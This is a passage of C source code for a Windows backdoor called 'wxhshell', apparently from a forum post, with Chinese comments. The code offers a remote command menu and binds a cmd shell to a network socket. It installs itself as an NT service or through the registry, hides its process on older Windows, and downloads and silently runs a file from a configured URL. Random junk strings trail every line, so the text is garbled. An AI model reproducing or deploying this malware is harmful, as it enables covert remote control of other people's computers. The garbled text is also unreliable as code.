    switch(cmd[0]) { 8;14Q7,S  
  Z4hrn::  
  // 帮助 2d>hi32I  
  case '?': { tCG76LH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t"072a  
    break; \daZ k /@  
  } U?a6D:~G  
  // 安装 Z6p5* +  
  case 'i': { }~K`/kvs  
    if(Install()) u+H ; @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F[ ajOb8  
    else "XgmuSQ!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b89a)k>^g  
    break; $j}OB6^I  
    } \%Ves@hG>  
  // 卸载 6z0@I*  
  case 'r': { Fs_]RfG  
    if(Uninstall()) uc7Eq45  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z/;Xl~  
    else XW{>-PBg:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0& >H^  
    break; SP*fv`  
    } v3d&*I  
  // 显示 wxhshell 所在路径 ".^VI2T  
  case 'p': { _A13[Mt3  
    char svExeFile[MAX_PATH]; xL|;VyD  
    strcpy(svExeFile,"\n\r"); S"Lx%  
      strcat(svExeFile,ExeFile); j>uj=B@  
        send(wsh,svExeFile,strlen(svExeFile),0); ;V^pL((5J  
    break; @fv}G>t  
    } ez]tAW  
  // 重启 <f@"HG l  
  case 'b': { zZcnijWb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {@! Kx`(:  
    if(Boot(REBOOT)) jHN +5=l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -HSs^dP`  
    else { g_5QA)4x  
    closesocket(wsh); gz2\H}  
    ExitThread(0); o8e?J\?  
    } n1 6 `y}  
    break; 0Wa}<]:^  
    } ~qe%Yq  
  // 关机 7dsefNPb  
  case 'd': { 8 C[/dH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3(TsgP >`  
    if(Boot(SHUTDOWN)) dL7E<?l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1f",}qe;  
    else { }_=eT]  
    closesocket(wsh); su*Pk|6%  
    ExitThread(0); m]i @ +C  
    } kmzH'wktt  
    break; V%$/#sza  
    } .EM`.  
  // 获取shell 8-<:i  
  case 's': { "-@[R  
    CmdShell(wsh); 4_Dp+^JF  
    closesocket(wsh); `u>4\sv  
    ExitThread(0); wtje(z5IL  
    break; Eu"_MgD  
  } {uzf"%VtP  
  // 退出 pTIf@n6I  
  case 'x': { )95f*wte  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `+6R0Ch  
    CloseIt(wsh); W9NX=gE4  
    break; *CHI2MB  
    } cGjPxG;  
  // 离开 8@so"d2e  
  case 'q': { y;/VB,4V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jKt7M>P  
    closesocket(wsh); l;o1 d-n]  
    WSACleanup(); (#+^&1  
    exit(1); ;b-XWK=  
    break; !K|5bK  
        } mI74x3 [  
  } SlsdqP 9  
  } oudxm[/U  
[eTSZjIN7  
  // 提示信息 m2AnXY\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8WnwQ%;m?  
} )1X#*mCxk  
  } ZP{*.]Qu  
'7O3/GDK  
  return; Gea\,{E9xA  
} 13taFV dU  
$ X q!L  
// shell模块句柄 1GzAG;UUo6  
int CmdShell(SOCKET sock) ,v"YqD+GC5  
{ x.-+[l[1 !  
STARTUPINFO si; / m=HG^!  
ZeroMemory(&si,sizeof(si)); c38D}k^):  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4?B\O`sy.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AK@9?_D  
PROCESS_INFORMATION ProcessInfo; '- zD  
char cmdline[]="cmd"; dAuJXGo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jv^h\~*jH  
  return 0; .V,@k7U,V  
} 9T<x&  
EFz&N\2  
// 自身启动模式 4:FK;~wM&x  
int StartFromService(void) ~@}Bi@*  
{ 5{g?,/(  
typedef struct %7|9sQ:  
{ `nu''B H  
  DWORD ExitStatus; Ofs <EQ  
  DWORD PebBaseAddress; $< JaLS  
  DWORD AffinityMask; 9 AJ(&qY(  
  DWORD BasePriority; 4 r45i:  
  ULONG UniqueProcessId; A}l3cP; `#  
  ULONG InheritedFromUniqueProcessId; dkz=CY3p%X  
}   PROCESS_BASIC_INFORMATION; q.;u?,|E/  
79;<_(Y  
PROCNTQSIP NtQueryInformationProcess; %^jMj2  
PUUwv_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JD|=>)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uA< n  
RCpR3iC2  
  HANDLE             hProcess; 4%4 }5UYN  
  PROCESS_BASIC_INFORMATION pbi; W)bLSL]`E  
`EaLGzw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }~L.qG  
  if(NULL == hInst ) return 0; {tWf  
^~etm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ')cMiX\v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9iQq.$A.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :.Wr{"`  
|!4K!_y  
  if (!NtQueryInformationProcess) return 0; 1eF3`  
.6Pw|xu`Pw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5?x>9C a  
  if(!hProcess) return 0; wfH^<jY)E  
r8RoE`/T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tc? $>'  
F'21jy&  
  CloseHandle(hProcess); K|[*t~59  
'd9INz.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X9V*UXTc  
if(hProcess==NULL) return 0; ;>Ib^ov  
[MUpxOAsd  
HMODULE hMod; u I )6M  
char procName[255]; ) AvN\sC  
unsigned long cbNeeded; ?Wlb3;  
, K~}\CR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {ttysQ-  
te-jfmu2  
  CloseHandle(hProcess); J| w>a  
\| 8  
if(strstr(procName,"services")) return 1; // 以服务启动 Wi)_H$KII  
.[ICx  
  return 0; // 注册表启动 1G^`-ri6  
} Hquc o  
`r9!zffyS  
// 主模块 m+]K;}.}R  
int StartWxhshell(LPSTR lpCmdLine) X aMJDa|M  
{ e w$ B)W  
  SOCKET wsl; , s"^kFl  
BOOL val=TRUE; N2;B-UF 7  
  int port=0; f6&iy$@   
  struct sockaddr_in door; 0Qf,@^zL*  
P/W XaE4  
  if(wscfg.ws_autoins) Install(); [M=7M}f;  
QTk}h_<u  
port=atoi(lpCmdLine); !$gR{XH$]  
GjvOM y  
if(port<=0) port=wscfg.ws_port; N 5lDS  
Pd_U7&w,5  
  WSADATA data; 8}O lL,fP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; at,XB.}Z]  
4O^xY 6m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8;JWK3Gv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '-Vt|O_Q  
  door.sin_family = AF_INET; . 1Dg s=|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )vE~'W  
  door.sin_port = htons(port); t.i 8 2Q  
EM(gmWHij  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tEvut=k'  
closesocket(wsl); u04kF^  
return 1; 'c9]&B  
} G[uK-U  
MP Y[X[  
  if(listen(wsl,2) == INVALID_SOCKET) { <L8'!q}  
closesocket(wsl); oqO(PU  
return 1; @@Kp67Iv  
} 8V`WO6*  
  Wxhshell(wsl); 6d<r= C=  
  WSACleanup(); aC8} d  
C)ERUH2i  
return 0; 0z6R'Kjy A  
KQ% GIz x  
} {k TE He  
p>v$FiV2N  
// 以NT服务方式启动 3M[! N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZbW17@b  
{ Y!w`YYKP  
DWORD   status = 0; wd8 l$*F*  
  DWORD   specificError = 0xfffffff; *&^Pj%DX  
B" 1c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bq%Jh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |4;Fd9q^m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "^})zf~_  
  serviceStatus.dwWin32ExitCode     = 0; FrGgga$  
  serviceStatus.dwServiceSpecificExitCode = 0; hF~n)oQ  
  serviceStatus.dwCheckPoint       = 0; \/r}]Vz  
  serviceStatus.dwWaitHint       = 0; PR#exm&  
nv|NQ Tk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7rc0yB  
  if (hServiceStatusHandle==0) return; &[?\k>  
'CM|@Zz%  
status = GetLastError(); Tztu}t]N  
  if (status!=NO_ERROR) a/4T> eC  
{ '}53f2%gKa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?jv/TBZX4  
    serviceStatus.dwCheckPoint       = 0; $]/{[@5  
    serviceStatus.dwWaitHint       = 0; N2^=E1|_  
    serviceStatus.dwWin32ExitCode     = status; c<B/V0]  
    serviceStatus.dwServiceSpecificExitCode = specificError;  MzdV2.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _^Ubs>d=*  
    return; 99e.n0  
  } /$Nsd  
3w*R&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2j [=\K]  
  serviceStatus.dwCheckPoint       = 0; JzQ_{J`k  
  serviceStatus.dwWaitHint       = 0; 6,8h]?u.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )4e.k$X^  
} vtg !8u4  
x}Eg.S  
// 处理NT服务事件,比如:启动、停止 [6Izlh+D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q_[o" wq/  
{ ]nn98y+  
switch(fdwControl) !Iy_UfW  
{ V(I8=rVH  
case SERVICE_CONTROL_STOP: $Vg>I>i  
  serviceStatus.dwWin32ExitCode = 0; i+ ?^8#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C_}]`[  
  serviceStatus.dwCheckPoint   = 0; J5K^^RUR  
  serviceStatus.dwWaitHint     = 0; mp1@|*Sn  
  { F]O`3 e=!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cw3 a0u  
  } ?=sDM& '  
  return; J/y83@  
case SERVICE_CONTROL_PAUSE: O3,jg |,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TQF| a\M'  
  break; EeE7#$l  
case SERVICE_CONTROL_CONTINUE: D0-3eV -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z#wkiCRYm  
  break; T4Uev*A  
case SERVICE_CONTROL_INTERROGATE: <44G]eb  
  break; hD 82tr  
}; oWT3apGO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n:?a$Ldgm  
} Z"xvh81P  
r(TIw%L$  
// 标准应用程序主函数 =4YhG;%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A:%`wX}  
{ YoNDf39  
Jq-]7N%k/  
// 获取操作系统版本 \;B iq`  
OsIsNt=GetOsVer(); B6DYZ+7A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Fcm[eoC  
!c Hum  
  // 从命令行安装 k(nW#*N_  
  if(strpbrk(lpCmdLine,"iI")) Install(); q6luUx,@m  
_1\v  
  // 下载执行文件 _ ]ip ajT  
if(wscfg.ws_downexe) { D#C~pdp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7&)bJ@1U  
  WinExec(wscfg.ws_filenam,SW_HIDE); eu-*?]&Di  
} 0Th&iA4  
P/eeC"  
if(!OsIsNt) { -`h)$&,  
// 如果时win9x,隐藏进程并且设置为注册表启动 )qw&%sO +  
HideProc(); CY5Z{qiX  
StartWxhshell(lpCmdLine); ITI)soa~  
} A}9`S6@@  
else xJ]\+ 50  
  if(StartFromService()) U?Zq6_M&  
  // 以服务方式启动 }o(-=lF  
  StartServiceCtrlDispatcher(DispatchTable); PJ%C N(0  
else 4xje$/_d  
  // 普通方式启动 *w\W/Y  
  StartWxhshell(lpCmdLine); $Ds2>G4c  
B~ GbF*j  
return 0; ! n@KU!&k  
}
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只看该作者 1 发表于: 2006-10-10
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